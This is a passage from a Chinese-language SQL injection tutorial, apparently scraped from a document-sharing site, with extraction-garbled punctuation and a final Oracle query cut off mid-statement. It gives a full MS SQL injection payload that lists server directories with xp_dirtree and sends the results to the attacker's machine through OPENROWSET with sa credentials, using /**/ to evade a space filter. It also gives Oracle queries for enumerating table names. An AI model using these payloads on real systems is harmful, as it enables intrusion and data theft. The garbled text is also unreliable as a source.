Server,:,在服务器端创建,temp_table6,后,黑客利用此实例所示的,xp_dirtree,功能查看,c:inetpub,下的文件列表,并导出到黑客本地的,temp_table6,中;,可以更换,c:inetpub,这个参数为其他目录,反复使用此语句,从而对服务器文件目录有全面了解。,采用,/*/,作为分割符的原因是这个注入点过滤了空格。,Bubble,delete/*/from/*/temp_table6;insert/*/into/*/temp_table6/*/exec/*/master.dbo.xp_dirtree/*/,c:inetpub,;insert/*/into/*/OPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select/*/*/*/from/*/temp_table6)select/*/*/*/from/*/temp_table6;-,高级,SQL,注入:利用数据库的高级特性,上述语句仅限于,Oracle 9i,及其以上版本:,第一句查询当前数据库表中的用户表(非系统表),并获取排名最前的一个,假设返回结果为,SYS_GN,。,第二句查询将所有的用户表名连接为一个字符串输出,适合于只有一个回显点时探测数据库结构。,Bubble,select table_name from user_tables order by table_name;,select max(sys_connect_by_path(table_name,) ) from (select table_name, lag(table_name)over(order by table_name) as lagcol, rownu
展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 管理文书 > 施工组织


copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!